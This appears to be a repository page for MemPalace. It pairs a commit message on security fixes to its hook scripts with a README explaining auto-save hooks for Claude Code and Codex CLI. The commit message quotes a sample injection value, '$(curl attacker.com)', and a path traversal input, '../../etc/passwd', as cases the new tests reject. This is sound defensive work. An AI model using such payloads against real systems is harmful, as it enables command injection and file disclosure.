BLUDATA\marcio.heiderscheidt
0f217f7c80
save_hook.sh: - Coerce stop_hook_active to strict True/False before eval to prevent command injection via crafted JSON (e.g. "$(curl attacker.com)") - Validate LAST_SAVE as plain integer with regex before bash arithmetic to prevent command substitution via poisoned state files hooks_cli.py: - Add _validate_transcript_path() that rejects paths with '..' components and non-.jsonl/.json extensions - _count_human_messages() now uses the validator, returning 0 for invalid paths instead of opening arbitrary files Tests: - Path traversal rejection (../../etc/passwd) - Wrong extension rejection (.txt, .py) - Valid path acceptance (.jsonl, .json) - Empty string handling - Shell injection in stop_hook_active field Refs: MemPalace/mempalace#809
MemPalace Hooks — Auto-Save for Terminal AI Tools
These hook scripts make MemPalace save automatically. No manual "save" commands needed.
What They Do
| Hook | When It Fires | What Happens |
|---|---|---|
| Save Hook | Every 15 human messages | Blocks the AI, tells it to save key topics/decisions/quotes to the palace |
| PreCompact Hook | Right before context compaction | Emergency save — forces the AI to save EVERYTHING before losing context |
The AI does the actual filing — it knows the conversation context, so it classifies memories into the right wings/halls/closets. The hooks just tell it WHEN to save.
Install — Claude Code
Add to .claude/settings.local.json:
{
"hooks": {
"Stop": [{
"matcher": "*",
"hooks": [{
"type": "command",
"command": "/absolute/path/to/hooks/mempal_save_hook.sh",
"timeout": 30
}]
}],
"PreCompact": [{
"hooks": [{
"type": "command",
"command": "/absolute/path/to/hooks/mempal_precompact_hook.sh",
"timeout": 30
}]
}]
}
}
Make them executable:
chmod +x hooks/mempal_save_hook.sh hooks/mempal_precompact_hook.sh
Install — Codex CLI (OpenAI)
Add to .codex/hooks.json:
{
"Stop": [{
"type": "command",
"command": "/absolute/path/to/hooks/mempal_save_hook.sh",
"timeout": 30
}],
"PreCompact": [{
"type": "command",
"command": "/absolute/path/to/hooks/mempal_precompact_hook.sh",
"timeout": 30
}]
}
Configuration
Edit mempal_save_hook.sh to change:
SAVE_INTERVAL=15— How many human messages between saves. Lower = more frequent saves, higher = less interruption.STATE_DIR— Where hook state is stored (defaults to~/.mempalace/hook_state/)MEMPAL_DIR— Optional. Set to a conversations directory to auto-runmempalace mine <dir>on each save trigger. Leave blank (default) to let the AI handle saving via the block reason message.
mempalace CLI
The relevant commands are:
mempalace mine <dir> # Mine all files in a directory
mempalace mine <dir> --mode convos # Mine conversation transcripts only
The hooks resolve the repo root automatically from their own path, so they work regardless of where you install the repo.
How It Works (Technical)
Save Hook (Stop event)
User sends message → AI responds → Claude Code fires Stop hook
↓
Hook counts human messages in JSONL transcript
↓
┌─── < 15 since last save ──→ echo "{}" (let AI stop)
│
└─── ≥ 15 since last save ──→ {"decision": "block", "reason": "save..."}
↓
AI saves to palace
↓
AI tries to stop again
↓
stop_hook_active = true
↓
Hook sees flag → echo "{}" (let it through)
The stop_hook_active flag prevents infinite loops: block once → AI saves → tries to stop → flag is true → we let it through.
PreCompact Hook
Context window getting full → Claude Code fires PreCompact
↓
Hook ALWAYS blocks
↓
AI saves everything
↓
Compaction proceeds
No counting needed — compaction always warrants a save.
Debugging
Check the hook log:
cat ~/.mempalace/hook_state/hook.log
Example output:
[14:30:15] Session abc123: 12 exchanges, 12 since last save
[14:35:22] Session abc123: 15 exchanges, 15 since last save
[14:35:22] TRIGGERING SAVE at exchange 15
[14:40:01] Session abc123: 18 exchanges, 3 since last save
Known Limitations
Hooks require session restart after install. Claude Code loads hooks from settings.json at session start only. If you run mempalace init or manually edit hook config mid-session, the hooks won't fire until you restart Claude Code. This is a Claude Code limitation.
Cost
Zero extra tokens. The hooks notify the AI that saves happened in the background — the AI doesn't need to write anything in the chat. All filing is handled automatically. Previous versions asked the AI to write diary entries and drawer content in the chat window, which cost ~$1/session in retransmitted tokens.